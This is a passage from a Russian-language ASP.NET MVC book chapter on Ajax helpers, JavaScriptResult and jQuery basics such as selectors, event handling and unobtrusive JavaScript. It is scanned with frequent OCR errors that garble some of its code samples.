Это один из способов сохранения полезного поведения для браузеров с отключенной поддержкой JavaScript, поскольку здесь вся страница заменяется ответом метода. Далее в главе будет описан более сложный подход к решению данной задачи.
Асинхронная отправка форм с использованием мтода A j ах. BeginForm
Иногда может понадобиться включить переданные пользователем данные в асинхронный запрос. Для этого используется вспомогательный метод Aj ах. BeginForm (), принимающий примерно те же параметры, что и Html. BeginForm (), плюс объект Aj axCptions, свойства которого были перечислены в табл. 12.1.
Например, модифицируйте шаблон представления из предыдущего примера так, как показано ниже:
<h2>What time is it?</h2>
<% using(Ajax.BeginForm("GetTime", new AjaxOptions { UpdateTargetld = "myResults" })) { %>
<p>
Show me the time in:
<select name="zone">
Coption value="utc">UTC</option>
Coption value="bst">BSTC/option>
Coption value=,,mdt">MDTC/option>
C/select>
Cinput type="submit" value="Go" />
</p>
<% } %>
<div id="myResults" style="border: 2px dotted red; padding: .5em;"> Results will appear here
</div>
<p>
This page was generated at <%= DateTime. UtcNow.ToString ("h:MM: ss tt") %> (UTC)
</p>
Даже не изменяя метода действия GetTime (), мы сразу же получили пользовательский интерфейс, приведенный на рис. 12.3.
Это все сведения, касающиеся метода Ajax.BeginForm(). По сути, он представляет собой результат скрещивания методов Html.BeginForm () и Aj ах .ActionLink (). Все конфигурационные опции он наследует от своих родителей.
Асинхронные формы работают особенно эффективно, когда отображают результаты поиска без полностраничного обновления или обеспечивают возможность независимого редактирования каждой строки в экранной сетке.
Вызов команд JavaScript из метода действия
В главе 9 упоминалось, что ASP.NET MVC включает тип результата действия по имени JavaScriptResult. Он позволяет вернуть из метода действия оператор JavaScript.
416 Часть II. ASP.NET MVC во всех деталях
Рис. 12.3. Метод Ajах. BeginForm () вставляет ответ в элемент DOM
Встроенные bASP.NET MVC вспомогательные методы Ajax.* спроектированы так, чтобы замечать, когда это делается4, и они выполняют это оператор JavaScript вместо вставки его в виде текста в DOM. Это удобно, когда на стороне сервере предпринимается какое-то действие и требуется обновить DOM клиентской стороны для отражения произошедших изменений.
Рассмотрим приведенный ниже фрагмент шаблона представления. В нем выводится список товаров. Рядом с каждым товаром имеется ссылка delete (удалить), визуализированная с помощью метода Ajax.ActionLink (). Обратите внимание, что последний параметр, переданный Ajax. ActionLink (), имеет значение null, потому что при использовании JavaScriptResult указывать конкретное значение AjaxOptions не обязательно. Результирующий вывод показан на рис. 12.4.
<h2>List of items</h2>
<div id="message"x/div>
<ul>
<% foreach (var item in Model) ( %>
<li id="item_<%= item.ItemID %>">
<b><%= item.Name %></b>
<%= Ajax.ActionLink("delete", "Deleteltem", new {item.ItemID), null) %> </li>
</ul>
<i>Page generated at <%= DateTime.Now.ToLongTimeString() %></!>
Рис. 12.4. Набор ссылок, вызывающих запросы Ajax
Тип JavaScriptResult устанавливает content-type ответа в application/x-javascript. Вспомогательные методы Ajax. * специально ищут это значение.
Глава 12. Ajax и сценарии клиента 417
Когда пользователь щелкает на ссылке delete, она асинхронно вызывает действие, именуемое Deleteitem, и передает ему параметр itemID. Метод действия должен сообщить уровню модели, что тому следует удалить запрошенный элемент. После этого можете потребоваться, чтобы метод действия проинструктировал браузер о необходимости обновления его DOM для отражения проведенного изменения. Реализовать метод действия Deleteltem() можно следующим образом:
[AcceptVerbs(HttpVerbs.Post)] // Разрешить только запросы POST
// (зто действие вызывает изменения)
public JavaScriptResult Deleteltem(int itemID)
{
var itemToDelete = Getltem(itemID);
// TODO: заставить уровень модели удалить itemToDelete
// Сообщить браузеру о необходимости обновления DOM
var script = string.Format("OnltemDeleted({0}, {!})",
itemToDelete.ItemID,
JavaScriptEncode(itemToDelete.Name));
return JavaScript(script);
}
private static string JavaScriptEncode(string str) {
// Закодировать определенные символы,
// иначе выражение JavaScript может быть неверным return new JavaScriptSerializer () .Serialize(str);
}
Ключевой момент, на который здесь нужно обратить внимание, состоит в том, что в результате вызова JavaScript () может быть возвращено выражение JavaScript — в данном случае выражение виде OnltemDeleted (25, "ИмяЭлементз") — и оно будет выполнено на клиенте. Разумеется, оно будет работать, только если определена функция OnltemDeleted():
<script type-"text/javascript">
function OnltemDeleted(id, name) {
document.getElementByld("message").innerHTML = name + " was deleted"; var deletedNode = document.getElementByld("item_" + id);
deletedNode.parentNode.removechild(deletedNode);
}
</script>
Результирующее поведение иллюстрируется на рис. 12.5.
Рис. 12.5. Каждый щелчок на ссылке delete заставляет браузер получить от сервера и выполнить команду JavaScript
418 Часть II. ASP.NET MVC во всех деталях
Хотя такое применение JavaScriptResult может показаться удобным, следует тщательно подумать, прежде чем решиться на это. Встраивание JavaScript-кода непосредственно в метод действия похоже на встраивание в него литерального запроса SQL или литерального HTML: это нежелательное смешение технологий. Генерация кода JavaScript с использованием конкатенаций строк .NETT жестко и сильно связывает код серверной стороны с кодом на стороне клиента.
В качестве более аккуратной альтернативы можно вернуть jsonResult из метода действия и воспользоваться JQueiy для его интерпретации и обновления DOM браузера. Это избавляет как от сильной связи, так и от проблем с кодированием строк. Далее в настоящей главе будет показано, как зто делается.
Обзор вспомогательных методов Ajax.* в ASP.NET MVC
Как было видно в предыдущих примерах, использовать вспомогательные методы Aj ах .* очень легко. Обычно они не требуют написания какого-то JavaScript-кода и автоматически учитывают конфигурацию маршрутизации во время генерирования URL. Часто метод Ajax. ActionLink () оказывается именно тем, что нужно для получения простого фрагмента Ajax — он выполняет свою работу быстро, без шума и пыли, что очень хорошо! Но иногда может потребоваться нечто более мощное, поскольку вспомогательные методы A j ах. * ограничены в перечисленных ниже отношениях.
•	С их помощью можно выполнять лишь простые обновления страниц. Они могут включать готовый блок HTML-разметки в существующую страницу, но не имеют поддержки для извлечения и обработки низкоуровневых данных (например, данных в формате JSON), и единственный способ настройки их манипуляции моделью DOM состоит в возврате оператора JavaScript из метода действия.
•	При обновлении модели DOM они просто делают элементы видимыми и невидимыми. Здесь не предусмотрено встроенной поддержки постепенного появления или исчезновения элементов, равно как и других разновидностей анимации.
•	Используемая модель программирования не гарантирует удовлетворительного поведения при отключенной поддержке JavaScript.
Чтобы преодолеть эти ограничения, можно написать собственный низкоуровневый код JavaScript (и вручную решать проблемы совместимости) или же обратиться к полноценной библиотеке JavaScript.
Например, можно было бы напрямую работать с библиотекой ASP.NET AJAX. Однако это тяжеловесное решение: основное назначение этой библиотеки — поддержка развитой модели событий и элементов управления серверной стороны ASP.NET WebForms, которая не особенно интересует разработчиков ASP.NET MVC. В рамках ASP.NET MVC имеется возможность использовать любую библиотеку Ajax или JavaScript.
Наиболее популярный выбор, судя по мнению большинства веб-разработчиков в мире — JQueiy. Этот вариант настолько популярен, что Microsoft теперь поставляет JQueiy вместе с ASP.NET MVC и обещает включить его в состав Visual Studio 2010, несмотря на то, что данный продукт не принадлежит Microsoft. Чем это объясняется?
Использование jQuery в ASP.NET MVC
Меньше кода, больше функций.— зто основное обещание jQueiy, свободной библиотеки JavaScript с открытым исходным кодом5, которая впервые появилась в 2006 г. Она заслужила массовое одобрение веб-разработчиков на всех платформах, потому что избавила
5 Она доступна для коммерческого и персонального использования на условиях лицензий MIT и GPL.
Глава 12. Ajax и сценарии клиента 419
их от бремени кодирования на стороны клиента. Библиотека]Query предлагает элегантный синтаксис на основе CSS-3 для обхода дерева модели DOM, удобный API-интерфейс для манипулирования и анимации элементов DOM и исключительно лаконичные оболочки для вызовов Ajax — все это тщательно абстрагировано для устранения различий между браузерами6. Данная библиотека расширяема, имеет богатую экосистему свободно доступных подключаемых модулей и стимулирует стиль кодирования, позволяющий сохранить базовую функциональность, когда поддержка JavaScript недоступна.
Звучит слишком хорошо, чтобы быть правдой? На самом деле, нельзя гарантировать, что библиотека jQueiy упростит вообще все кодирование на стороне клиента, но обычно применять JQuery намного легче, чем писать низкоуровневый код JavaScript, к тому же она отлично работает с ASP.NET MVC. Ниже вы ознакомитесь с теоретическими аспектами, положенными в основу библиотеки JQuery, и увидите ее в действии, добавив некоторый лоск к типичным действиям и представлениям ASP.NET MVC.
Ссылки на библиотеку jQuery
Каждый новый проект ASP.NET MVC уже содержит библиотеку jQuery в своей папке /Scripts. Подобно многим другим библиотекам JavaScript, это просто единственный файл . j s. Чтобы использовать его, необходимо только на него сослаться.
Например, добавьте в начало раздела <head> мастер-страницы приложения следующий дескриптор <script>:
<head runat="server">
<script src="<%= Url.Content("~/Scripts/jquery-1.3.2.min.js") %>" type="text/j avascript"X/script>
<!— Оставить без изменений —>
</head>
Файл j query-1.3.2. min. j s хранит уменьшенную версию библиотеки. Это означает, что все комментарии, длинные имена переменных и излишние пробелы исключаются для сокращения времени загрузки. Для того чтобы разобраться в исходном коде JQuery, вместо этого следует читать файл с обычной версией (j query-1.3.2. j s).
Последняя версия библиотеки JQuery доступна для загрузки по адресу http:// jquery.com/. Загрузите основной файл библиотеки JQuery, поместите его в папку /Scripts приложения и затем установите ссылку на нее, как было показано выше. На момент подготовки русскоязычного издания книги последней версией была 1.4.
Поддержка средства IntelliSense для jQuery
Нужна ли здесь поддержка со стороны IntelliSense? Обеспечение поддержки средства IntelliSense для по-настоящему динамических языков, таких как JavaScript, представляет фундаментальную трудность, потому что функции могут добавляться и удаляться из индивидуальных экземпляров объектов во время выполнения, и все функции могут либо возвращать что-то, либо не возвращать ничего. Среда Visual Studio 2008 старается разобраться с тем, что происходит в коде, но в действительности это работает, только если создан файл .vsdoc, содержащий подсказки о работе кода JavaScript.
Команда создателей Visual Studio в сотрудничестве с командой jQuery разработала специальный файл .vsdoc, который значительно улучшил поддержку IntelliSense для jQuery. Этот файл jquery-1.3.2-vsdoc. js по умолчанию уже включен в папку /Scripts приложения (более новые версии доступны по адресу http://docs.jquery.com/Downloading jQuery). Для его использования просто добавьте ссылку на него.
6 В настоящее время поддерживаются браузеры Firefox 2.0+, Internet Explorer 6+, Safari 3+, Opera 9+ и Chrome 1+.
420 Часть II. ASP.NET MVC во всех деталях
Поместите следующую строку внутрь элемента <asp: PiaceHoider> в разделе <head> мастер-страницы:
<% /* %><script src="~/Scripts/jquery-1.3.2-vsdoc.js"X/script><% */ %>
Обратите внимание, что этот дескриптор <script> служит лишь подсказкой для Visual Studio: он никогда не будет визуализирован в браузере, потому что оформлен как комментарий серверной стороны. Следовательно, на файл необходимо ссылаться с использованием его виртуального пути, как показано, и не разрешать этот путь с помощью Url. content (), как зто делается для других дескрипторов <script>. В случае применения частичных представлений (файлов ASCX), к сожалению, придется дублировать зту строку в начале каждого файла, потому что файлы ASCX не ассоциированы с мастер-страницами.
Можно надеяться, что зта несколько замысловатая настройка будет упрощена в будущей версии Visual Studio. Хотя можно загрузить заплату, которая заставит Visual Studio автоматически находить файлы *-vsdoc. js, но она не поможет, если основной файл jQuery импортируется посредством Url. Content (), как и не решит проблемы с файлами ASCX. За дополнительными деталями обращайтесь ПО адресу http://tinyurl.com/jQIntelliSense.
Теория, положенная в основу jQuery
В основе jQuery лежит мощная JavaScript-функция по имени jQuery О . Ее можно использовать для запроса у DOM всех элементов HTML-страницы, соответствующих какому-то селектору CSS. Например, jQuery ("DIV.MyClass") найдет все элементы div в документе, которые имеют класс CSS по имени MyClass.
Функция jQuery () вернет упакованный наборJQuery, т.е. объект JavaScript, в котором перечислены результаты и имеется множество дополнительных методов, которые можно вызывать для того, чтобы оперировать этими результатами. Большая часть API-интерфейса JQuery состоит из вызовов этих методов на упакованных наборах. Например, jQuery ("DIV.MyClass") ,hide() немедленно скроет все соответствующие элементы div. Для краткости в jQuery предусмотрен и сокращенный синтаксис $ (); это то же самое, что и вызов j Query ()1. В табл. 12.3 приведены примеры его применения.
Таблица 12.3. Простые примеры применения jQuery	
Код	Эффект
$("Р SPAN").addClass("SuperBig") $(".SuperBig").removeclass("SuperBig") $("toptions").toggle() $("DIV:has(INPUT[type='checkbox']: disabled)").prepend("<i>Hey!</i>") $("#options A").css("color", "red"). fadeOut ()	Добавляет класс CSS по имени SuperBig ко всем узлам <span>, содержащимся в узле <р>. Удаляет класс CSS по имени SuperBig из всех узлов, включающих его. Переключает видимость элемента с идентификатором options (если он видимый, то скрывается, а если уже скрыт, то показывается). Вставляет HTML-разметку <i>Hey 1 </i> в начало всех элементов div, содержащих отключенный флажок. Находит любые дескрипторы гиперссылок (т.е. <а>), содержащиеся внутри элемента с идентификатором options, устанавливая красный цвет для их текста и постепенно делая их невидимыми за счет снижения непрозрачности до нуля.
7 В терминах JavaScript это все равно, что записать $ == j Query (функции также являются объектами). Если вам не нравится синтаксис $(), возможно потому, он конфликтует с какой-то другой используемой библиотекой JavaScript (например. Prototype, где также определено $), можете отключить этот синтаксис вызовом jQuery.noConflict().
Глава 12. Ajax и сценарии клиента 421
Как видите, синтаксис исключительно краткий. Написание того же самого кода без jQuery потребовало бы множества строк JavaScript. В последних двух примерах демонстрируются два важных средства jQuery
•	Поддержка CSS 3. Предоставляя селекторы для jQuery, можно использовать большую часть синтаксиса, совместимого с CSS 3, независимо от того, поддерживает ли его браузер. К этому синтаксису относятся псевдоклассы вроде : has (дочерний селектор}, : first-child, : nth-child и : not (селектор), селекторы атрибутов, подобные * [att='val' ] (соответствует узлам с атрибутами att="val"), родственные комбинаторы, такие как table + р (соответствует абзацам, непосредственно следующим за таблицей), и дочерние комбинаторы, например, body > div (соответствует элементам div, которые являются непосредственно дочерними по отношению к узлу <body>).
•	Связывание методов в цепочки. Почти все методы, которые воздействуют на упакованные наборы, также возвращают упакованные наборы, поэтому их вызовы можете связывать в цепочки (например, $ (selector) ,abc() .def() .ghi ()), получая чрезвычайно лаконичный код.
Далее вы ознакомитесь с jQuery, как с автономной библиотекой. После этого будет показано, как использовать многие ее средства в приложении ASP.NET MVC.
На заметку! Данный материал не претендует на полное руководство по jQuery, поскольку это отдельная от ASP.NET MVC библиотека. Ниже просто демонстрируется, каким образом jQuery взаимодействует с ASP.NET MVC без документирования всех вызовов методов и их многочисленных опций; все это можно легко найти в онлайновом руководстве по адресу http: //docs. jquery.com/ или http://visualjquery.com/).
Краткое примечание об идентификаторах элементов
Если вы используете jQuery или пишете код JavaScript для работы с приложением ASP.NET MVC, вам следует знать о том, как встроенные вспомогательные методы элементов управления вводом генерируют атрибуты идентификаторов (id). Приведенный ниже вызов вспомогательного метода тестового поля:
<%= Html.TextBox("pledge.Amount") %>
приводит к получению следующего кода:
<input id="pledge_Amount" name="pledge.Amount" type="text" value-'" /> Обратите внимание, что именем элемента является pledge.Amount (без точки), но его идентификатор выглядит как pledge_Amount (со знаком подчеркивания). При генерации идентификаторов элементов все встроенные вспомогательные методы автоматически заменяют символы точки подчеркиваниями. Это позволяет ссылаться на результирующие элементы, используя селектор jQuery вида $ ("tpledge Amount"). Следует отметить, что было бы неправильно записать $ ("tpledge .Amount"), потому что в jQuery (и в CSS) зто означает элемент с идентификатором pledge и CSS-классом Amount.
Если по какой-то причине подчеркивания не устраивают, и необходимо, чтобы вспомогательные методы заменяли точки другим символом, например, знаком доллара, альтернативную замену можно сконфигурировать следующим образом:
HtmlHelper.IdAttributeDotReplacement =
Это делается лишь один раз во время инициализации приложения, например, добавлением показанной выше строки к функции Application_Start () в файле Global. asax. cs. Но поскольку подчеркивания работают вполне нормально, вряд ли понадобится изменять эту установку.
422 Часть II. ASP.NET MVC во всех деталях
Ожидание загрузки DOM
Большинство браузеров запускает код JavaScript сразу, как только анализатор страницы сталкивается с ним, даже перед завершением загрузки страницы браузером. Здесь может возникнуть проблема, потому что если поместить некоторый код JavaScript в раздел <head> в начале HTML-страницы, то этот код не сможет оперировать остальной частью HTML-документа, так как она еще не загружена.
Традиционно веб-разработчики решали эту проблему, вызывая код инициализации в обработчике onload, присоединенном к элементу <body>. Это гарантирует выполнение кода только после полной загрузки документа. С таким подходом связаны два недостатка.
1. Дескриптор <body> может иметь только один атрибут onload, поэтому трудно комбинировать несколько независимых частей кода.
2. Обработчик onload ожидает загрузку не только DOM, но также и всего внешнего содержимого (такого как графические изображения). Скорость реакции насыщенного пользовательского интерфейса может снизиться, особенно при медленных соединениях.
Идеальное решение состоит в том, чтобы заставить браузер запустить стартовый код, как только будет готова модель DOM, но не ожидая загрузки внешних ресурсов. API-интерфейс для этого варьируется от браузера к браузеру, но jQuery предлагает простую абстракцию, которая работает с ними всеми. Вот как она выглядит:
<script>
$( function() {
// Сюда поместить код инициализации
});
</script>
Передав JavaScript-функцию вызову $ (), как это сделано с анонимной функцией в приведенном выше коде, вы зарегистрируете ее для выполнения сразу же по готовности модели DOM. Регистрировать можно произвольное количество функций, однако обычно пишут единственный блок $ (function () { ... }); в начале шаблона представления и помещают туда все поведение jQuery. Этот подход будет демонстрироваться во многих примерах в настоящей главе.
Обработка событий
Возможность присоединения кода JavaScript для обработки событий пользовательского интерфейса клиентской стороны (таких как click, keydown и focus) появилась еще во времена браузера Netscape Navigator 2 (1996 г.). В первые несколько лет API-интерфейсы для обработки событий в разных браузерах были совершенно несовместимыми: отличался не только синтаксис регистрации события, но также механизмы распространения событий и имена часто используемых свойств событий (например, радеХ, screenX или clientx?). Браузер Internet Explorer прославился своим патологическим стремлением к оригинальности.
За время, прошедшее с тех темных веков, современные браузеры стали не намного лучше! Десятилетие спустя все по-прежнему пребывает в состоянии анархии, и даже несмотря на то, консорциум W3C ратифицировал стандартный API-интерфейс для обработки событий (www.w3.org/TR/DOM-Level-2-Events/events.html), лишь несколько браузеров поддерживают его большую часть. В современном мире, где так распространены iPhones, Nintendo Wiis и маленькие нетбуки под управлением Linux, приложение должно поддерживать невероятное разнообразие браузеров и платформ.
Создатели библиотеки jQuery приложили серьезные усилия к решению этой проблемы. Эта библиотека предлагает абстрактный уровень над встроенным JavaScript API
Глава 12. Ajax и сценарии клиента 423
браузера, поэтому код будет работать почти одинаково в любом браузере, поддерживающем jQuery. Синтаксис обработки событий выглядит замечательно, например:
$("img").click(function() { $(this).fadeOut() })
Этот код заставляет каждое изображение постепенно исчезать после щелчка на нем. (Очевидно, что приведенную строку кода понадобится поместить внутрь дескрипторов <script></script>.)
На заметку! Недоумеваете, что означает $ (this) ? В обработчике событий JavaScript-переменная this ссылается на элемент DOM, принимающий событие. Однако это обычный старый элемент DOM, поэтому у него нет метода fadeOut (). Решение состоит в написании $ (this), что создает упакованный набор (содержащий единственный элемент this), обладающий всеми возможностями упакованного набора jQuery (включая метод fadeOut. ()).
Обратите внимание, что больше нет необходимости беспокоиться о разнице между addEventListener () для соответствующих стандарту браузеров и addEventListener () для Internet Explorer 6. Кроме того, теперь можно обойтись без неудобного включения кода обработчика события непосредственно в определение элемента (например, <img src="..." опс11ск="лекоторый код JavaScript"/>), который не поддерживает множественные обработчики событий. Дополнительные примеры обработки событий jQuery будут показаны ниже.
Глобальные вспомогательные функции
Помимо методов, которые оперируют с упакованными наборами, в jQuery имеется ряд глобальных свойств и функций, спроектированных для упрощения работы с Ajax и написания сценариев для множества браузеров с учетом различий их блочных моделей. Средства Ajax в jQuery рассматриваются далее в главе. В табл. 12.4 приведены некоторые примеры других вспомогательных функций jQuery.
Таблица 12.4. Некоторые глобальные вспомогательные функции, предлагаемые библиотекой jQuery
Функция	Описание
$.browser	Сообщает, какой браузер запущен, согласно строки user-agent. Одно из следующих свойств установлено в true: $ .browser .msie, $. browser, mozilla, $ .browser. safarmi или $ .browser. opera.
$.browser.version	Сообщает версию запущенного браузера.
$. support	Определяет поддержку браузером разнообразных средств. Например, $. support .boxModel определяет, визуализируется ли текущий фрейм согласно стандартной блочной модели W3C*. Полный список возможностей, которые может обнаружить $. support, описан в документации по jQuery.
$.trim(str)	Возвращает строку str с удаленными ведущими и хвостовыми пробелами. jQuery предлагает эту удобную функцию потому, что, как ни странно, она отсутствует в стандартной библиотеке JavaScript.
$.inArray(val, arr)	Возвращает первый индекс val в массиве arr. Библиотека jQuery содержит эту полезную функцию потому, что браузер Internet Explorer, по крайней мере, версии 7, не поддерживает функцию array. indexOf ().
* Блочная модель определяет, каким образом браузер располагает элементы и вычисляет их размеры, а также то, как стили padding и border учитываются в принятии решения. Это может варьироваться в зависимости от версии браузера и типа DOCTYPE, объявленного на HTML-странице. Иногда эту информацию можно использовать для устранения различий в компоновке между браузерами за счет корректировки стиля padding и других стилей CSS.
424 Часть II. ASP.NET MVC во всех деталях
Это не весь набор вспомогательных функций и свойств JQuery, впрочем, полный набор на самом деле довольно мал. Ядро JQuery спроектировано так, чтобы быть компактным для быстрой загрузки, но при этом допускать расширения, чтобы всегда можно было написать подключаемый модуль для добавления собственных вспомогательных функций, которые оперируют упакованными наборами.
Ненавязчивый JavaScript
Теперь почти все готово к тому, чтобы приступить к применению JQuery в ASP.NET MVC, но есть еще одно теоретическое понятие, к которому следует привыкнуть: ненавязчивый JavaScript.
Что это такое? Это принцип сохранения кода JavaScript чистым и физически отделенным от HTML-разметки, с которой он работает, с целью сохранения HTML-порции в функциональном состоянии. Например, не следует писать код наподобие:
<div id="mylinks">
<а href="#" onclick="if(confirm!'Follow the link?'))
location.href = '/someUrll';">Link l</a>
<a href="#" onclick="if(confirm('Follow the link?'))
location.href = '/someUrl2';">Link 2</a>
</div>
Код должен выглядеть следующим образом:
<div id="mylinks">
<а href="/someUrll">Link 1</а>
<а href="/someUrl2">Link 2</а>
</div>
<script type="text/javascript">
$("#mylinks a").click(function() {
return confirm("Follow the link?");
}) ;
</script>
Второй вариант кода лучше не только потому, что его легче читать, и не потому, что в нем исключено повторение фрагментов кода. Ключевое преимущество его состоит в том, что он остается функциональным даже в браузерах, которые не поддерживают JavaScript. Ссылки при этом работают подобно обычным ссылкам.
Ниже описан процесс проектирования, который позволяет обеспечить ненавязчи-вость JavaScript.
•	Сначала постройте приложение, вообще не используя JavaScript, приняв ограничения простого старого HTML/CSS и добившись жизнеспособной (хотя и базовой) функциональности.
•	После этого приступайте к добавлению любого предпочитаемого межбраузерного кода JavaScript — Ajax, анимации, словом, всего, что хотите! Только не трогайте исходную разметку. Сценарий JavaScript предпочтительнее размещать в отдельном файле. Это будет напоминать о том, что сценарии — нечто отдельное. В результате можно будет радикально расширять функциональность приложения, не влияя на его поведение при отключенном JavaScript.
Поскольку ненавязчивый JavaScript не нужно внедрять во множество разных мест HTML-документа, шаблоны представлений MVC также могут быть упрощены. В частности, это избавит от необходимости конструировать код JavaScript, манипулируя строками на стороне сервера в цикле < % foreach(...) %>.
Библиотека jQuery делает относительно простым добавление ненавязчивого уровня JavaScript-кода, так как после построения чистой разметки без сценариев подключение
Глава 12. Ajax и сценарии клиента 425
изощренного поведения или привлекательное оформление обычно сводится к нескольким вызовам функций из jQuery. Давайте рассмотрим некоторые реалистичные примеры.
Добавление интерактивности на стороне
клиента к представлению MVC
Экранные сетки, как правило, нравятся всем. Предположим, что имеется класс модели по имени Mountaininfo, определенный следующим образом:
public class Mountaininfo
{
public string Name { get; set; }
public int HeightlnMeters { get; set; }
}
Коллекцию объектов Mountaininfo можно визуализировать в виде сетки, используя строго типизированный по типу модели IEnumerable<MountainInf о> шаблон представления, который содержит следующую разметку:
<h2>The Seven Summits</h2>
<div id="summits">
<table>
<theadxtr>
<td>Item</td> <td>Height (m)</td> <td>Actions</td>
</trx/thead>
<% foreach(var mountain in Model) { %>
<tr>
<td><%= mountain.Name %></td>
<td><%= mountain.HeightlnMeters %></td> <td>
<% using(Html.BeginForm("Deleteltem", "Home")) { %>
<%= Html.Hidden("item", mountain.Name) %>
<input type="submit" value="Delete" />
</td>
</tr>
/О. г О-'s.
X о f о x
</table>
</div>
Разметка не особо впечатляет, но работает, причем JavaScript-кода здесь нет. Применив соответствующий стиль CSS и подходящий метод действия Deleteltem (), можно получить внешний вид и поведение, показанное на рис. 12.6.
Рис. 12.6. Базовая сетка, полученная без использования JavaScript
426 Часть II. ASP.NET MVC во всех деталях
Для реализации кнопок Delete (Удалить) обычно применяется трюк “множественных форм”: каждая кнопка Delete помещается в собственный элемент <f orm>, поэтому может запускать HTTP-запрос POST — без кода JavaScript, — направляемый к URL, который соответствует удаляемому элементу. (Элементы, отображаемые в сетке, соответствуют названиям известных гор. Однако непростой вопрос о том, что означает “удаление” горы, мы здесь рассматривать не будем.)
Теперь давайте поработаем над улучшением пользовательского интерфейса в трех направлениях, используя JQuery. Ни одно из рассматриваемых далее изменений не оказывает влияния на поведение приложения при отключенном JavaScript.
Улучшение 1: оформление сетки полосами
Одним из типичным приемов веб-дизайна является оформление стиля четных и нечетных строк таблицы по-разному. В результате получаются горизонтальные полосы, которые помогают посетителю в визуальном восприятии экранной сетки. Элементы управления ASP.NET DataGrid и Gridview имеют встроенные средства для получения этого эффекта. В ASP.NET MVC можно достичь того же самого, генерируя специальное имя класса CSS для каждого четного дескриптора <tr>:
<% int i = 0; %>
<% foreach(var mountain in Model) { %>
<tr <%= i++ % 2 == 1 ? "class='alternate'" : "" %»
Согласитесь, что код выглядит не особенно изящно. В принципе, можно было бы воспользоваться псевдоклассом CSS 3:
tr:nth-child(even) { background: silver; }
Однако его поддерживают лишь немногие браузеры (на момент написания книги — только Safari). Поэтому лучше добавить одну строку кода, связанного с JQuery. Ее можно разместить в любом месте шаблона представления, например, в разделе <head> мастер-страницы или рядом с разметкой, которой это должно коснуться:
<script type="text/j avascript">
$ (function () {
$("#summits tr:nth-child(even)").css("background-color", "silver");
));
</script>
Код будет работать в любом популярном браузере и отобразит то, что показано на рис. 12.7.
Рис. 12.7. Сетка, оформленная полосами
Глава 12. Ajax и сценарии клиента 427
Обратите внимание на применение синтаксиса $ (function () { ... }); для регистрации кода инициализации на запуск по готовности модули DOM.
На заметку! На протяжении оставшейся части главы напоминания о необходимости регистрации кода инициализации с использованием $ (function () { ... }); больше даваться не будут. Просто помните, что код jQuery, который должен выполняться только после инициализации модели DOM, необходимо размещать внутри блока $ (function () { ... }); страницы.
Чтобы сделать код аккуратнее, можно воспользоваться сокращенным псевдоклассом jQuery : even и применить соответствующий класс CSS:
$("#summits tr:even").addclass("alternate");
Улучшение 2: подтверждение перед удалением
Обычно перед выполнением важного необратимого действия, подобного удалению элемента, должно выдаваться предупреждение8. Не генерируйте фрагменты кода JavaScript в атрибутах onclick=" ..." или onsubmit=" ... ", а назначайте все обработчики событий сразу с помощью jQuery. Добавьте в блок инициализации следуюший фрагмент кода:
$("#summits form[action$='/Deleteltem']").submit(function() { var itemlext = $("input[name='item'J", this).val();
return confirm("Are you sure you want to delete + itemText + });
Этот запрос сканирует элементы submits в поиске узлов <form>, которые отправляются на URL, завершающийся строкой /Deleteltem, и перехватывает их события submit. Полученное в результате поведение показано на рис. 12.8.
Рис. 12.8. Запуск обработчика события submit
8 Еще лучше предоставить пользователю дополнительную возможность отменить действие даже после того, как оно подтверждено. Но это уже другая история.
428 Часть II. ASP.NET MVC во всех деталях
Улучшение 3: сокрытие и отображение разделов страницы
Еще один распространенный трюк состоит в сокрытии определенных разделов страницы, пока в точности не станет известно, что они в данный момент актуальны для пользователя. Например, на сайте электронного магазина нет смысла отображать элементы для ввода информации о кредитной карте, пока пользователь не выберет вариант оплаты с ее помощью. Как упоминалось в предыдущей главе, это называется последовательным раскрытием.
В качестве другого примера может понадобиться сделать определенные столбцы сетки необязательными и скрывать или отображать их в зависимости от состояния флажка. Обычными средствами это реализовать довольно трудно: если сделать это на сервере (в стиле ASP.NET WebForms), то придется выполнять утомительный обмен данными между клиентом и сервером, управлять состоянием и писать запутанный код для отображения таблицы. Если же сделать это на стороне клиента, то придется принимать во внимание отличия в обработке событий и применении CSS в разных браузерах (например, отображать ячейки с использованием display:table-cell для соответствующих стандарту браузеров и display :block — для Internet Explorer).
Теперь обо всех этих проблемах можно смело забыть. Библиотека jQuery позволяет реализовать такое поведение довольно просто. Добавьте следующий код инициализации:
$ ("<labelX.input id='heights' type='checkbox'
checked='true'/>Show heights</label>")
.insertBcfore("#summits")
.children("input").click(function() { $("#summits td:nth-child(2)”). toggle ();
}) . click () ;
Это и все. что понадобится. Передав строку HTML вызову $ (), вы инструктируете jQuery создать набор элементов DOM, соответствующих разметке. Код динамически вставляет новый HTML-элемент флажка перед элементом submits и затем привязывает обработчик события click, который будет переключать отображение второго столбца в таблице. И, наконец он вызывает событие click флажка, поэтому по умолчанию флажок будет не отмечен, а столбец сетки — скрытым. Любые отличия между браузерами прозрачно обрабатываются уровнем абстракции jQuery. Новое поведение можно видеть на рис. 12.9.
Рис. 12.9. Сокрытие и отображение столбца с помощью щелчка на флажке
Глава 12. Ajax и сценарии клиента 429
Обратите внимание, что это по-настоящему ненавязчивый JavaScript. Во-первых, он не предполагает внесение каких-либо изменений в сгенерированную сервером разметку для таблицы и, во-вторых, он не влияет на поведение при отключенной поддержке JavaScript. Если браузер не поддерживает JavaScript, то флажок Show heights (Показать высоты) даже не добавляется.
Ссылки и формы с поддержкой Ajax
Теперь давайте займемся чем-нибудь реальным. Ранее было показано, как использовать встроенные в ASP.NET MVC вспомогательные методы Ajax для выполнения частичных обновлений страницы без написания кода JavaScript. Вы также узнали, что этому подходу присущ ряд ограничений.
Для преодоления этих ограничений можно написать низкоуровневый код JavaScript, но при этом возникнут проблемы вроде перечисленных ниже.
•	API-интерфейс XMLHttpRequest — основной механизм, применяемый для издания асинхронных запросов — следует скверной традиции требовать различный синтаксис для разных типов и версий браузеров. Для Intermet Explorer 6 необходимо создать экземпляр объекта XMLHttpRequest с использованием нестандартного синтаксиса, основанного на ActiveX. Другие браузеры поддерживают иной, хотя и более ясный синтаксис.
•	Этот довольно неудобный и многословный API-интерфейс требует решения таких неочевидных задач, как отслеживание и интерпретация значений readyStates.
Как обычно, библиотека JQueiy привносит с собой простоту. Например, полный код, необходимый для асинхронной загрузки содержимого в элемент DOM, выглядит следующим образом:
$("#myElement").load("/some/url");
Код конструирует объект XMLHttpRequest (в независимом от браузера стиле), устанавливает запрос, ожидает ответа и в случае успеха копирует разметку из ответа в каждый элемент упакованного набора (т.е. myElement). Все очень просто!
Ненавязчивый JavaScript и захват
